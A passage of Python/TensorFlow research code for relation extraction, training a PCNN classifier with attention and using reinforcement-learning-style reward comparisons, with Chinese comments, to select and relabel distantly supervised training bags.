tf.placeholder(dtype=tf.float32, shape=[FLAGS.batch_size])\n\t\tself.data_word_vec = np.load(os.path.join(FLAGS.export_path, 'vec.npy'))\n\n\t\t#Network\n\t\tself.embedding = Embedding(is_training, self.data_word_vec, self.word, self.pos1, self.pos2)\n\t\tself.encoder = Encoder(is_training, FLAGS.drop_prob)\n\t\tself.selector = Selector(FLAGS.num_classes, is_training, FLAGS.drop_prob)\n\t\tself.classifier = Classifier(is_training, self.bag_label, self.label_weights)\n\t\t#compute\n\t\tself.word_embedding = self.embedding.word_embedding()\n\t\tself.pos_embedding = self.embedding.pos_embedding()\n\t\tself.embedding = self.embedding.concat_embedding(self.word_embedding, self.pos_embedding)\n\t\tself.x = self.encoder.pcnn(self.embedding, FLAGS.hidden_size, self.mask, activation=tf.nn.relu)\n\t\tself.logit, self.repre = self.selector.attention(self.x, self.scope, self.sentence_label)\n\n\t\t#用于判断ds和selected哪一个好,与优化无关\n\t\tself.label_onehot = tf.one_hot(indices=self.bag_label, depth=FLAGS.num_classes, dtype=tf.float32)\n\t\tself.bag_loss_temp = tf.nn.softmax_cross_entropy_with_logits(labels=self.label_onehot, logits=self.logit)\n\t\tself.bag_loss = tf.reshape(self.bag_loss_temp,[1,-1])\n\t\tself.loss_mean = tf.reduce_mean(self.bag_loss)\n\t\t#计算reward\n\t\tself.softmax_output = tf.nn.softmax(self.logit)\n\t\tself.reward = tf.log(tf.reduce_sum(self.label_onehot * self.softmax_output, axis=1))\n\t\t#self.loss_mine = -tf.reduce_mean(self.reward, axis=0)这个就是loss一样的,只是没有加上权重\n\t\t#计算梯度下降\n\t\tself.loss = self.classifier.softmax_cross_entropy(self.logit)\n\t\t#self.loss_one = self.classifier.softmax_cross_entropy(self.logit_one)\n\t\tself.output = self.classifier.output(self.logit)\n\t\t#self.output_one = self.classifier.output(self.logit_one)\n\t\tself.outputvalue = self.classifier.outputvalue(self.logit)\n\t\tself.test_output = tf.argmax(self.logit, 1)#输出什么关系\n\t\tself.test_outputvalue = tf.reduce_max(self.logit, axis=1)#输出关系的概率\n\t\t# Optimizer\n\t\tself.global_step = tf.Variable(0, name='global_step', trainable=False)\n\t\ttf.summary.scalar('learning_rate', FLAGS.learning_rate)\n\t\tself.optimizer = tf.train.GradientDescentOptimizer(FLAGS.learning_rate)\n\t\tself.grads_and_vars = self.optimizer.compute_gradients(self.loss)\n\t\tself.train_op = self.optimizer.apply_gradients(self.grads_and_vars, global_step=self.global_step)\n\n\nclass interaction():\n\n\tdef __init__(self, save_path = 'model/origin_pcnn_model'):\n\t\twith tf.Graph().as_default():\n\t\t\tdevice_config = tf.ConfigProto()\n\t\t\tdevice_config.gpu_options.allow_growth = True\n\t\t\tself.sess = tf.Session(config=device_config)\n\t\t\twith self.sess.as_default():\n\t\t\t\tinitializer = tf.contrib.layers.xavier_initializer()\n\t\t\t\twith tf.variable_scope(\"pcnn\", reuse=None, initializer=initializer):\n\t\t\t\t\tself.model = PCNN(is_training=True)\n\t\t\t\tself.sess.run(tf.global_variables_initializer())\n\t\t\t\tself.saver = tf.train.Saver()\n\t\tpath = self.saver.save(self.sess, \"model/untrain_pcnn_model\")\n\t\tself.data_instance_triple = np.load(os.path.join(FLAGS.export_path, 'train_instance_triple.npy'))#triple是不变的\n\t\tself.data_instance_scope = np.load(os.path.join(FLAGS.export_path, 'train_instance_scope.npy'))\n\t\tself.data_train_length = np.load(os.path.join(FLAGS.export_path, 'train_len.npy'))\n\t\tself.data_train_label = np.load(os.path.join(FLAGS.export_path, 'train_label.npy'))\n\t\tself.data_train_word = np.load(os.path.join(FLAGS.export_path, 'train_word.npy'))\n\t\tself.data_train_pos1 = np.load(os.path.join(FLAGS.export_path, 'train_pos1.npy'))\n\t\tself.data_train_pos2 = np.load(os.path.join(FLAGS.export_path, 'train_pos2.npy'))\n\t\tself.data_train_mask = np.load(os.path.join(FLAGS.export_path, 'train_mask.npy'))\n\t\tself.ds_bag_label = np.load(\"./data/ds_bag_label.npy\")\n\t\tself.reltot = {}\n\t\tself.selected = 0\n\t\tself.best_auc = 0\n\t\tself.last_bag_label = np.random.random(293162)\n\t\tself.last_bag_label[0:] = -1\n\t\tself.test_function = Test_Pcnn()\n\t\tfor index, i in enumerate(self.data_train_label):\n\t\t\tif not i in self.reltot:\n\t\t\t\tself.reltot[i] = 1.0\n\t\t\telse:\n\t\t\t\tself.reltot[i] += 1.0\n\t\tfor i in self.reltot:\n\t\t\tself.reltot[i] = 1 / (self.reltot[i] ** (0.05))\n\tdef pretrain_pcnn_ds(self):\n\t\t#self.saver.restore(self.sess, \"model/origin_pcnn_model\")\n\t\tprint(\"pcnn pretrain_pcnn......\")\n\t\tpath = self.saver.save(self.sess, \"model/untrain_pcnn_model\")\n\t\tacc_NA = Accuracy()\n\t\tacc_not_NA = Accuracy()\n\t\tacc_total = Accuracy()\n\t\t#train\n\t\tif not os.path.exists(FLAGS.checkpoint_dir):\n\t\t\tos.mkdir(FLAGS.checkpoint_dir)\n\t\ttrain_order = list(range(len(self.data_instance_triple)))\n\n\t\tfor epoch in range(1):#25\n\t\t\tprint('epoch' + str(epoch) + ' starts...')\n\t\t\tbestBagLabel = np.zeros(53)\n\t\t\tacc_NA.clear()\n\t\t\tacc_not_NA.clear()\n\t\t\tacc_total.clear()\n\t\t\tnp.random.shuffle(train_order)\n\t\t\tfor i in range(int(len(train_order) / float(FLAGS.batch_size))):\n\t\t\t\tinput_scope = np.take(self.data_instance_scope, train_order[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size], axis=0)\n\t\t\t\tindex = []\n\t\t\t\tscope = [0]\n\t\t\t\tlabel_weights = []\n\t\t\t\tlabel = []\n\t\t\t\tfor num in input_scope:\n\t\t\t\t\tindex = index + list(range(num[0], num[1] + 1))\n\t\t\t\t\tlabel.append(self.data_train_label[num[0]])\n\t\t\t\t\tscope.append(scope[len(scope) - 1] + num[1] - num[0] + 1)\n\t\t\t\t\tlabel_weights.append(self.reltot[self.data_train_label[num[0]]])\n\t\t\t\t#train_one_step\n\t\t\t\tfeed_dict = {\n\t\t\t\t\tself.model.word: self.data_train_word[index, :],\n\t\t\t\t\tself.model.pos1: self.data_train_pos1[index, :],\n\t\t\t\t\tself.model.pos2: self.data_train_pos2[index, :],\n\t\t\t\t\tself.model.mask: self.data_train_mask[index, :],\n\t\t\t\t\tself.model.length: self.data_train_length[index],\n\t\t\t\t\tself.model.bag_label: label,\n\t\t\t\t\tself.model.sentence_label:self.data_train_label[index],\n\t\t\t\t\tself.model.scope: np.array(scope),\n\t\t\t\t\tself.model.label_weights: label_weights\n\t\t\t\t}\n\t\t\t\tresult = self.sess.run([self.model.train_op, self.model.global_step, self.model.output] + [self.model.loss], feed_dict)\n\t\t\t\tstep = result[1]\n\t\t\t\t_output = result[2]\n\t\t\t\tloss = result[3]\n\t\t\t\tfor j, prediction in enumerate(_output):\n\t\t\t\t\tif label[j] == 0:\n\t\t\t\t\t\tacc_NA.add(prediction == label[j])\n\t\t\t\t\telse:\n\t\t\t\t\t\tacc_not_NA.add(prediction == label[j])\n\t\t\t\t\tacc_total.add(prediction == label[j])\n\t\t\t\t\tbestBagLabel[prediction] += 1\n\t\t\t\ttime_str = datetime.datetime.now().isoformat()\n\t\t\t\tsys.stdout.write(\"epoch %d step %d | loss : %f, NA accuracy: %f, not NA accuracy: %f, total accuracy %f\" % (epoch, i, loss, acc_NA.get(), acc_not_NA.get(), acc_total.get()) + '\\r')\n\t\t\t\tsys.stdout.flush()\n\t\t\tprint(\" bestbagLabel\")\n\t\t\tprint(bestBagLabel)\n\t\t\tif (epoch + 1) % FLAGS.save_epoch == 0:\n\t\t\t\tprint('epoch ' + str(epoch + 1) + ' has finished')\n\t\tpath = self.saver.save(self.sess, \"model/origin_pcnn_model\")\n\t\tself.test_function.test(\"model/origin_pcnn_model\")\n\t\tprint('saving model...')\n\t\tprint('have saved model to ' + path)\n\n\tdef train_pcnn_selected(self):\n\t\tprint(\"train_pcnn with selected label and instance:\")\n\t\tself.saver.restore(self.sess, \"model/untrain_pcnn_model\")\n\t\tacc_NA = Accuracy()\n\t\tacc_not_NA = Accuracy()\n\t\tacc_total = Accuracy()\n\t\trl_bag_label_selected = np.load(\"./data/best_bag_label_selected.npy\")\n\t\trl_instance_selected = np.load(\"./data/best_instance_selected.npy\")#以ds的scope为坐标\n\t\t#构造rl选择的数据集\n\t\trl_instance_scope = []\n\t\trl_train_length = []\n\t\trl_train_label = []\n\t\trl_train_word = []\n\t\trl_train_pos1 = []\n\t\trl_train_pos2 = []\n\t\trl_train_mask = []\n\t\tnum_start = 0#scope起点\n\t\tnum_selected = 0\n\t\tfor index,num in enumerate(self.data_instance_scope):\n\t\t\tnum_end = num_start-1#新的scope的终点\n\t\t\tfor k in range(num[0], num[1]+1):\n\t\t\t\tif rl_instance_selected[k] == 1:\n\t\t\t\t\tnum_selected += 1\n\t\t\t\t\tnum_end += 1\n\t\t\t\t\trl_train_length.append(self.data_train_length[k])\n\t\t\t\t\trl_train_label.append(rl_bag_label_selected[index])\n\t\t\t\t\trl_train_word.append(self.data_train_word[k])\n\t\t\t\t\trl_train_pos1.append(self.data_train_pos1[k])\n\t\t\t\t\trl_train_pos2.append(self.data_train_pos2[k])\n\t\t\t\t\trl_train_mask.append(self.data_train_mask[k])\n\t\t\trl_instance_scope.append([num_start, num_end])\n\t\t\tnum_start = num_end+1\n\t\trl_train_length = np.array(rl_train_length)\n\t\trl_train_label = np.array(rl_train_label)\n\t\trl_train_word = np.array(rl_train_word)\n\t\trl_train_pos1 = np.array(rl_train_pos1)\n\t\trl_train_pos2 = np.array(rl_train_pos2)\n\t\trl_train_mask = np.array(rl_train_mask)\n\t\trl_instance_scope = np.array(rl_instance_scope)\n\t\treltot = {}\n\t\tfor index, i in enumerate(rl_train_label):\n\t\t\tif not i in reltot:\n\t\t\t\treltot[i] = 1.0\n\t\t\telse:\n\t\t\t\treltot[i] += 1.0\n\t\tfor i in reltot:\n\t\t\treltot[i] = 1 / (reltot[i] ** (0.05))\n\t\t#测试rl选择的数据集\n\t\trl_positive_bag = 0\n\t\tfor i in range(len(rl_bag_label_selected)):\n\t\t\tif rl_bag_label_selected[i] != 0:\n\t\t\t\trl_positive_bag += 1\n\t\t#print(\" rl_positive_bag:%d\"%(rl_positive_bag))\n\t\t#end\n\n\t\tfor epoch in range(50):\n\t\t\tprint(' epoch ' + str(epoch) + ' starts...')\n\n\t\t\tacc_NA.clear()\n\t\t\tacc_not_NA.clear()\n\t\t\tacc_total.clear()\n\n\t\t\ttrain_order = list(range(len(self.data_instance_triple)))\n\t\t\tnp.random.shuffle(train_order)\n\t\t\tfor i in range(int(len(train_order) / float(FLAGS.batch_size))):\n\t\t\t\tinput_scope_rl = np.take(rl_instance_scope, train_order[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size], axis=0)\n\t\t\t\tindex_rl = []\n\t\t\t\tscope_rl = [0]\n\t\t\t\tlabel_weights_rl = []\n\t\t\t\tlabel_rl = []\n\t\t\t\tfor num in input_scope_rl:\n\t\t\t\t\tindex_rl = index_rl + list(range(num[0], num[1] + 1))\n\t\t\t\t\tlabel_rl.append(rl_train_label[num[0]])\n\t\t\t\t\tscope_rl.append(scope_rl[len(scope_rl) - 1] + num[1] - num[0] + 1)\n\t\t\t\t\tlabel_weights_rl.append(self.reltot[rl_train_label[num[0]]])\n\t\t\t\tfeed_dict = {\n\t\t\t\t\tself.model.word: rl_train_word[index_rl, :],\n\t\t\t\t\tself.model.pos1: rl_train_pos1[index_rl, :],\n\t\t\t\t\tself.model.pos2: rl_train_pos2[index_rl, :],\n\t\t\t\t\tself.model.mask: rl_train_mask[index_rl, :],\n\t\t\t\t\tself.model.length: rl_train_length[index_rl],\n\t\t\t\t\tself.model.bag_label: label_rl,\n\t\t\t\t\tself.model.sentence_label: rl_train_label[index_rl],\n\t\t\t\t\tself.model.scope: np.array(scope_rl),\n\t\t\t\t\tself.model.label_weights: label_weights_rl\n\t\t\t\t}\n\t\t\t\tresult = self.sess.run([self.model.train_op, self.model.global_step, self.model.output] + [self.model.loss], feed_dict)\n\t\t\t\tstep = result[1]\n\t\t\t\t_output = result[2]\n\t\t\t\tloss = result[3]\n\t\t\t\tfor j, prediction in enumerate(_output):\n\t\t\t\t\tif label_rl[j] == 0:\n\t\t\t\t\t\tacc_NA.add(prediction == label_rl[j])\n\t\t\t\t\telse:\n\t\t\t\t\t\tacc_not_NA.add(prediction == label_rl[j])\n\t\t\t\t\tacc_total.add(prediction == label_rl[j])\n\n\t\t\t\ttime_str = datetime.datetime.now().isoformat()\n\t\t\t\tsys.stdout.write(\" epoch %d step %d | loss : %f, NA accuracy: %f, not NA accuracy: %f, total accuracy %f\" % (epoch, i, loss, acc_NA.get(), acc_not_NA.get(), acc_total.get()) + '\\r')\n\t\t\t\tsys.stdout.flush()\n\t\t\tprint(\"\\n\")\n\t\t\tself.saver.save(self.sess, \"model/selected_pcnn_model\")\n\t\t\tself.test_function.test(\"model/selected_pcnn_model\")\n\tdef produce_reward_compare(self):\n\t\tprint(\"pcnn:produce_reward_compare......\")\n\t\trl_bag_label_selected = np.load(os.path.join(FLAGS.export_path, 'rl_bag_label_selected.npy'))\n\t\trl_instance_selected = np.load(os.path.join(FLAGS.export_path, 'rl_instance_selected.npy'))#以ds的scope为坐标\n\t\tself.saver.restore(self.sess, \"model/origin_pcnn_model\")\n\t\t#构造rl选择的数据集\n\t\trl_instance_scope = []\n\t\trl_train_length = []\n\t\trl_train_label = []\n\t\trl_train_word = []\n\t\trl_train_pos1 = []\n\t\trl_train_pos2 = []\n\t\trl_train_mask = []\n\t\tnum_start = 0#scope起点\n\t\tnum_selected = 0\n\t\tfor index,num in enumerate(self.data_instance_scope):\n\t\t\tnum_end = num_start-1#新的scope的终点\n\t\t\tfor k in range(num[0], num[1]+1):\n\t\t\t\tif rl_instance_selected[k] == 1:\n\t\t\t\t\tnum_selected += 1\n\t\t\t\t\tnum_end += 1\n\t\t\t\t\trl_train_length.append(self.data_train_length[k])\n\t\t\t\t\trl_train_label.append(rl_bag_label_selected[index])\n\t\t\t\t\trl_train_word.append(self.data_train_word[k])\n\t\t\t\t\trl_train_pos1.append(self.data_train_pos1[k])\n\t\t\t\t\trl_train_pos2.append(self.data_train_pos2[k])\n\t\t\t\t\trl_train_mask.append(self.data_train_mask[k])\n\t\t\trl_instance_scope.append([num_start, num_end])\n\t\t\tnum_start = num_end+1\n\t\trl_train_length = np.array(rl_train_length)\n\t\trl_train_label = np.array(rl_train_label)\n\t\trl_train_word = np.array(rl_train_word)\n\t\trl_train_pos1 = np.array(rl_train_pos1)\n\t\trl_train_pos2 = np.array(rl_train_pos2)\n\t\trl_train_mask = np.array(rl_train_mask)\n\t\trl_instance_scope = np.array(rl_instance_scope)\n\t\treltot = {}\n\t\tfor index, i in enumerate(rl_train_label):\n\t\t\tif not i in reltot:\n\t\t\t\treltot[i] = 1.0\n\t\t\telse:\n\t\t\t\treltot[i] += 1.0\n\t\tfor i in reltot:\n\t\t\treltot[i] = 1 / (reltot[i] ** (0.05))\n\t\t#测试rl选择的数据集\n\t\tnum_reward = 0#pcnn一共奖励了多少bag\n\t\tnum_labelSame_reward = 0#在标签一样的情况下奖励了多少bag\n\t\tnum_labelDifferent_reward = 0#在标签不一样的情况下奖励了多少bag\n\t\tnum_labelSame_notreward = 0#在标签一样的情况下多少bag没奖励\n\t\tnum_labelDifferent_notreward = 0#在标签不一样的情况下多少bag没奖励\n\n\t\tself.saver.restore(self.sess, \"model/origin_pcnn_model\")\n\t\tprint(\" pcnn: restore pcnn from origin_pcnn_model\")\n\t\tbag_reward = []\n\t\tpcnn_bag_selected = []\n\t\tnum_labelDifferent_rewardbig = 0\n\t\ttrain_order = list(range(len(self.data_instance_triple)))\n\t\tfor i in range(int(len(train_order) / float(FLAGS.batch_size))):\n\t\t\t#第一次ds训练\n\t\t\tinput_scope_ds = np.take(self.data_instance_scope, train_order[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size], axis=0)\n\t\t\tindex_ds = []\n\t\t\tscope_ds = [0]\n\t\t\tlabel_weights_ds = []\n\t\t\tlabel_ds = []\n\t\t\tfor num in input_scope_ds:\n\t\t\t\tindex_ds = index_ds + list(range(num[0], num[1] + 1))\n\t\t\t\tlabel_ds.append(self.data_train_label[num[0]])\n\t\t\t\tscope_ds.append(scope_ds[len(scope_ds) - 1] + num[1] - num[0] + 1)\n\t\t\t\tlabel_weights_ds.append(self.reltot[self.data_train_label[num[0]]])\n\n\t\t\t#train_one_step\n\t\t\tfeed_dict = {\n\t\t\t\tself.model.word: self.data_train_word[index_ds, :],\n\t\t\t\tself.model.pos1: self.data_train_pos1[index_ds, :],\n\t\t\t\tself.model.pos2: self.data_train_pos2[index_ds, :],\n\t\t\t\tself.model.mask: self.data_train_mask[index_ds, :],\n\t\t\t\tself.model.length: self.data_train_length[index_ds],\n\t\t\t\tself.model.bag_label: label_ds,\n\t\t\t\tself.model.sentence_label: self.data_train_label[index_ds],\n\t\t\t\tself.model.scope: np.array(scope_ds),\n\t\t\t\tself.model.label_weights: label_weights_ds\n\t\t\t}\n\t\t\tresult = self.sess.run([self.model.reward, self.model.output, self.model.outputvalue], feed_dict)\n\t\t\t#bag_loss_ds = result[0][0]#因为得到的bag_loss是两维的第一维度为1,第二维度为160\n\t\t\treward_ds = result[0]\n\t\t\tds_output = result[1]\n\t\t\tds_outputvalue = result[2]\n\n\n\n\t\t\t#第一次rl训练\n\t\t\tinput_scope_rl = np.take(rl_instance_scope, train_order[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size], axis=0)\n\t\t\tindex_rl = []\n\t\t\tscope_rl = [0]\n\t\t\tlabel_weights_rl = []\n\t\t\tlabel_rl = []\n\t\t\tfor num in input_scope_rl:\n\t\t\t\tindex_rl = index_rl + list(range(num[0], num[1] + 1))\n\t\t\t\tlabel_rl.append(rl_train_label[num[0]])\n\t\t\t\tscope_rl.append(scope_rl[len(scope_rl) - 1] + num[1] - num[0] + 1)\n\t\t\t\tlabel_weights_rl.append(reltot[rl_train_label[num[0]]])\n\t\t\tfeed_dict = {\n\t\t\t\tself.model.word: rl_train_word[index_rl, :],\n\t\t\t\tself.model.pos1: rl_train_pos1[index_rl, :],\n\t\t\t\tself.model.pos2: rl_train_pos2[index_rl, :],\n\t\t\t\tself.model.mask: rl_train_mask[index_rl, :],\n\t\t\t\tself.model.length: rl_train_length[index_rl],\n\t\t\t\tself.model.bag_label: label_rl,\n\t\t\t\tself.model.sentence_label: rl_train_label[index_rl],\n\t\t\t\tself.model.scope: np.array(scope_rl),\n\t\t\t\tself.model.label_weights: label_weights_rl\n\t\t\t}\n\t\t\tresult = self.sess.run([self.model.reward, self.model.output, self.model.outputvalue], feed_dict)\n\t\t\treward_rl = result[0]\n\t\t\trl_output = result[1]\n\t\t\trl_outputvalue = result[2]\n\t\t\tpcnn_label = np.zeros(160)\n\t\t\tnum_change = 0\n\t\t\tfor j in range(len(reward_rl)):\n\t\t\t\tif label_ds[j] == 0:\n\t\t\t\t\treward_ds[j] = reward_ds[j] * 0.9\n\t\t\t\telse:\n\t\t\t\t\treward_ds[j] = reward_ds[j] * 0.7\n\n\t\t\tfor j in range(len(reward_rl)):\n\t\t\t\tif reward_ds[j] < reward_rl[j]:\n\t\t\t\t\tbag_reward.append(1)\n\t\t\t\t\tpcnn_bag_selected.append(1)\n\t\t\t\t\tif label_rl[j] != label_ds[j]:\n\t\t\t\t\t\tnum_labelDifferent_reward += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tnum_labelSame_reward += 1\n\t\t\t\t\tnum_reward += 1\n\n\t\t\t\telse:\n\t\t\t\t\tbag_reward.append(0)#ds奖励更大时\n\t\t\t\t\tpcnn_bag_selected.append(0)\n\t\t\t\t\tif label_rl[j] != label_ds[j]:\n\t\t\t\t\t\tnum_labelDifferent_notreward += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tnum_labelSame_notreward += 1\n\n\t\t#第二次ds训练\n\t\tinput_scope_ds = np.take(self.data_instance_scope, train_order[-160:], axis=0)\n\t\tindex_ds = []\n\t\tscope_ds = [0]\n\t\tlabel_weights_ds = []\n\t\tlabel_ds = []\n\t\tfor num in input_scope_ds:\n\t\t\tindex_ds = index_ds + list(range(num[0], num[1] + 1))\n\t\t\tlabel_ds.append(self.data_train_label[num[0]])\n\t\t\tscope_ds.append(scope_ds[len(scope_ds) - 1] + num[1] - num[0] + 1)\n\t\t\tlabel_weights_ds.append(self.reltot[self.data_train_label[num[0]]])\n\n\t\t#train_one_step\n\t\tfeed_dict = {\n\t\t\tself.model.word: self.data_train_word[index_ds, :],\n\t\t\tself.model.pos1: self.data_train_pos1[index_ds, :],\n\t\t\tself.model.pos2: self.data_train_pos2[index_ds, :],\n\t\t\tself.model.mask: self.data_train_mask[index_ds, :],\n\t\t\tself.model.length: self.data_train_length[index_ds],\n\t\t\tself.model.bag_label: label_ds,\n\t\t\tself.model.sentence_label: self.data_train_label[index_ds],\n\t\t\tself.model.scope: np.array(scope_ds),\n\t\t\tself.model.label_weights: label_weights_ds\n\t\t}\n\t\tresult = self.sess.run([self.model.reward], feed_dict)\n\t\treward_ds = result[0][-42:]\n\t\t#第二次rl训练\n\t\tinput_scope_rl = np.take(rl_instance_scope, train_order[-160:], axis=0)\n\t\tindex_rl = []\n\t\tscope_rl = [0]\n\t\tlabel_weights_rl = []\n\t\tlabel_rl = []\n\t\tfor num in input_scope_rl:\n\t\t\tindex_rl = index_rl + list(range(num[0], num[1] + 1))\n\t\t\tlabel_rl.append(rl_train_label[num[0]])\n\t\t\tscope_rl.append(scope_rl[len(scope_rl) - 1] + num[1] - num[0] + 1)\n\t\t\tlabel_weights_rl.append(reltot[rl_train_label[num[0]]])\n\t\tfeed_dict = {\n\t\t\tself.model.word: rl_train_word[index_rl, :],\n\t\t\tself.model.pos1: rl_train_pos1[index_rl, :],\n\t\t\tself.model.pos2: rl_train_pos2[index_rl, :],\n\t\t\tself.model.mask: rl_train_mask[index_rl, :],\n\t\t\tself.model.length: rl_train_length[index_rl],\n\t\t\tself.model.bag_label: label_rl,\n\t\t\tself.model.sentence_label: rl_train_label[index_rl],\n\t\t\tself.model.scope: np.array(scope_rl),\n\t\t\tself.model.label_weights: label_weights_rl\n\t\t}\n\t\tresult = self.sess.run([self.model.reward], feed_dict)\n\t\treward_rl = result[0][-42:]\n\n\t\tfor j in range(len(reward_rl)):\n\t\t\tif label_ds[j] == 0:\n\t\t\t\treward_ds[j] = reward_ds[j] * 0.9\n\t\t\telse:\n\t\t\t\treward_ds[j] = reward_ds[j] * 0.7\n\n\t\tfor j in range(len(reward_ds)):\n\t\t\tif reward_ds[j] < reward_rl[j]:\n\t\t\t\tbag_reward.append(1)\n\t\t\t\tpcnn_bag_selected.append(1)\n\t\t\t\tif label_rl[j] != label_ds[j]:\n\t\t\t\t\tnum_labelDifferent_rewardbig += 1\n\t\t\telse:\n\t\t\t\tbag_reward.append(0)\n\t\t\t\tpcnn_bag_selected.append(0)\n\n\t\t#计算 bag_label标签和选择的句子(与rl_produce_reward相似)\n\t\tpcnn_bag_label_selected = []\n\t\tpcnn_instance_selected = []\n\t\tfor j in range(len(pcnn_bag_selected)):\n\t\t\tnum = self.data_instance_scope[j]\n\t\t\tif pcnn_bag_selected[j] == 1:\n\t\t\t\tpcnn_bag_label_selected.append(rl_bag_label_selected[j])\n\t\t\t\tfor k in range(num[0], num[1]+1):\n\t\t\t\t\tpcnn_instance_selected.append(rl_instance_selected[k])\n\t\t\telse:\n\t\t\t\tpcnn_bag_label_selected.append(self.data_train_label[num[0]])\n\t\t\t\tfor k in range(num[0], num[1]+1):\n\t\t\t\t\tpcnn_instance_selected.append(1)\n\t\t#测试pcnn选择的instance质量\n\t\tnum = 0\n\t\tnum_NAToOther = 0\n\t\tnum_OtherToNA = 0\n\t\tnum_OtherToOther = 0\n\t\tprint(len(pcnn_bag_label_selected))\n\t\tfor i in range(len(self.ds_bag_label)):\n\t\t\tif pcnn_bag_label_selected[i] != self.ds_bag_label[i]:\n\t\t\t\tnum += 1\n\t\t\t\tif pcnn_bag_label_selected[i] == 0:\n\t\t\t\t\tnum_OtherToNA += 1\n\t\t\t\telif self.ds_bag_label[i] == 0:\n\t\t\t\t\tnum_NAToOther += 1\n\t\t\t\telse:\n\t\t\t\t\tnum_OtherToOther += 1\n\t\tprint(\" 总共改了:%d\"%(num))\n\t\tprint(\" 从其他到NA:%d\"%(num_OtherToNA))\n\t\tprint(\" 从NA到其他:%d\"%(num_NAToOther))\n\t\tprint(\" 从其他到其他:%d\"%(num_OtherToOther))\n\t\tprint(\" pcnn一共奖励了:%d个bag\"%(num_reward))\n\t\tprint(\" 标签一样的情况下奖励了:%d\"%(num_labelSame_reward))\n\t\tprint(\" 标签一样的情况下没奖励:%d\"%(num_labelSame_notreward))\n\t\tprint(\" 在标签不一样的情况下奖励了:%d\"%(num_labelDifferent_reward))\n\t\tprint(\" 在标签不一样的情况下没奖励:%d\"%(num_labelDifferent_notreward))\n\t\t#查看rl标签改变的分布\n\t\tlabelChange = np.zeros(53)\n\t\tfor j in range(len(self.ds_bag_label)):\n\t\t\tif pcnn_bag_label_selected[j] != self.ds_bag_label[j]:\n\t\t\t\tlabelChange[pcnn_bag_label_selected[j]] += 1\n\t\tprint(\" pcnn selected label change\")\n\t\tprint(labelChange)\n\t\tnp.save(FLAGS.export_path+'/pcnn_bag_label_selected', np.array(pcnn_bag_label_selected))\n\t\tnp.save(FLAGS.export_path+'/pcnn_instance_selected', np.array(pcnn_instance_selected))\n\t\tnp.save(FLAGS.export_path+'/bag_reward', np.array(bag_reward))\n\tdef update_pcnn(self):\n\t\tprint(\"pcnn: update_pcnn......\")\n\t\tif self.selected == 0:\n\t\t\tself.saver.restore(self.sess, \"model/origin_pcnn_model\")\n\t\t\tprint(\" restore pcnn from origin_pcnn_model\")\n\t\telse:\n\t\t\tself.saver.restore(self.sess, \"model/selected_pcnn_model\")\n\t\t\tprint(\" restore pcnn from selected_pcnn_model\")\n\t\tself.selected = 1\n\t\tpcnn_bag_label_selected = np.load(os.path.join(FLAGS.export_path, 'pcnn_bag_label_selected.npy'))\n\t\tds_bag_label = np.load(os.path.join(FLAGS.export_path, 'ds_bag_label.npy'))\n\t\tpcnn_instance_selected = np.load(os.path.join(FLAGS.export_path, 'pcnn_instance_selected.npy'))#以ds的scope为坐标\n\t\trl_bag_label_selected = np.load(os.path.join(FLAGS.export_path, 'rl_bag_label_selected.npy'))\n\t\t#构造pcnn选择的数据集\n\t\tpcnn_instance_scope_selected = []\n\t\tpcnn_train_length_selected = []\n\t\tpcnn_train_label_selected = []\n\t\tpcnn_train_word_selected = []\n\t\tpcnn_train_pos1_selected = []\n\t\tpcnn_train_pos2_selected = []\n\t\tpcnn_train_mask_selected = []\n\t\tnum_start = 0#scope起点\n\t\tnum_selected = 0\n\t\tfor index,num in enumerate(self.data_instance_scope):\n\t\t\tnum_end = num_start-1#新的scope的终点\n\t\t\tfor k in range(num[0], num[1]+1):\n\t\t\t\tif pcnn_instance_selected[k] == 1:\n\t\t\t\t\tnum_selected += 1\n\t\t\t\t\tnum_end += 1\n\t\t\t\t\tpcnn_train_length_selected.append(self.data_train_length[k])\n\t\t\t\t\tpcnn_train_label_selected.append(pcnn_bag_label_selected[index])\n\t\t\t\t\tpcnn_train_word_selected.append(self.data_train_word[k])\n\t\t\t\t\tpcnn_train_pos1_selected.append(self.data_train_pos1[k])\n\t\t\t\t\tpcnn_train_pos2_selected.append(self.data_train_pos2[k])\n\t\t\t\t\tpcnn_train_mask_selected.append(self.data_train_mask[k])\n\t\t\tpcnn_instance_scope_selected.append([num_start, num_end])\n\t\t\tnum_start = num_end + 1\n\t\tpcnn_train_length_selected = np.array(pcnn_train_length_selected)\n\t\tpcnn_train_label_selected = np.array(pcnn_train_label_selected)\n\t\tpcnn_train_word_selected = np.array(pcnn_train_word_selected)\n\t\tpcnn_train_pos1_selected = np.array(pcnn_train_pos1_selected)\n\t\tpcnn_train_pos2_selected = np.array(pcnn_train_pos2_selected)\n\t\tpcnn_train_mask_selected = np.array(pcnn_train_mask_selected)\n\t\tpcnn_instance_scope_selected = np.array(pcnn_instance_scope_selected)\n\t\tnp.save(FLAGS.export_path+'/pcnn_train_label_selected', pcnn_train_label_selected)\n\t\t#测试pcnn选择的数据集\n\t\tnum = 0\n\t\tnum_NAToOther = 0\n\t\tnum_OtherToNA = 0\n\t\tnum_OtherToOther = 0\n\t\tfor i in range(len(self.ds_bag_label)):\n\t\t\tif pcnn_bag_label_selected[i] != self.ds_bag_label[i]:\n\t\t\t\tnum += 1\n\t\t\t\tif pcnn_bag_label_selected[i] == 0:\n\t\t\t\t\tnum_OtherToNA += 1\n\t\t\t\telif ds_bag_label[i] == 0:\n\t\t\t\t\tnum_NAToOther += 1\n\t\t\t\telse:\n\t\t\t\t\tnum_OtherToOther += 1\n\t\tprint(\" 总共改了:%d\"%(num))\n\t\tprint(\" 从其他到NA:%d\"%(num_OtherToNA))\n\t\tprint(\" 从NA到其他:%d\"%(num_NAToOther))\n\t\tprint(\" 从其他到其他:%d\"%(num_OtherToOther))\n\t\tprint(\" pcnn_train_length_selected:%d\"%(len(pcnn_train_length_selected)))\n\t\treltot = {}\n\t\tfor index, i in enumerate(pcnn_train_label_selected):\n\t\t\tif not i in reltot:\n\t\t\t\treltot[i] = 1.0\n\t\t\telse:\n\t\t\t\treltot[i] += 1.0\n\t\tfor i in reltot:\n\t\t\treltot[i] = 1 / (reltot[i] ** (0.05))\n\t\tacc_NA = Accuracy()\n\t\tacc_not_NA = Accuracy()\n\t\tacc_total = 